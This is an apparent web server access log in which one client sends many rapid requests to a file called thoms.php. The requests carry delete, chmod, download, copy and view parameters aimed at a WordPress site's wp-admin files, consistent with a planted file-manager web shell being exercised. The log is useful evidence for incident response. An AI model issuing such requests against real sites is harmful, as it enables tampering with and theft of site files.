45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?del=import.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=import.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?chmod=options-media.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?dl=options-discussion.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-privacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-privacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?chmod=contribute.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?dl=post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /booking-wise2.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 200 16051 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?del=user-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?dl=user-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:13 -0400] "GET /thoms.php?dl=users.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=users.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?del=custom-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?chmod=options-discussion.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?del=options-discussion.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 200 19303 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?dl=site-health.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?dl=theme-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?chmod=upgrade.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 200 12167 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?chmod=network.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:14 -0400] "GET /thoms.php?dl=load-styles.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-reading.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-reading.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?chmod=options-writing.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?dl=plugins.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?dl=press-this.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /booking-wise2.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ffont-library.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ffont-library.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?del=customize.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=customize.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /booking-wise2.com.tw/wp-admin/images/ HTTP/1.1" 200 3235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?del=load-scripts.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 200 16883 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /thoms.php?dl=menu-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28837 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:15 -0400] "GET /booking-wise2.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?dl=custom-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28829 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?chmod=ms-options.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?dl=edit-tags.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?dl=moderation.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 200 12498 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?dl=update.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=update.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 200 17395 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?chmod=async-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmy-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmy-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /booking-wise2.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /booking-wise2.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:16 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?del=widgets-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?chmod=custom-background.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /booking-wise2.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?chmod=menu.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?chmod=my-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fauthorize-application.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fauthorize-application.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?del=site-health-info.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /booking-wise2.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?chmod=theme-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 200 18810 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /booking-wise2.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 200 19539 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:17 -0400] "GET /thoms.php?dl=ms-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-options.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-options.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fasync-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fasync-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fnav-menus.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fnav-menus.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-writing.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-writing.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fplugins.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fplugins.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /booking-wise2.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:18 -0400] "GET /booking-wise2.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
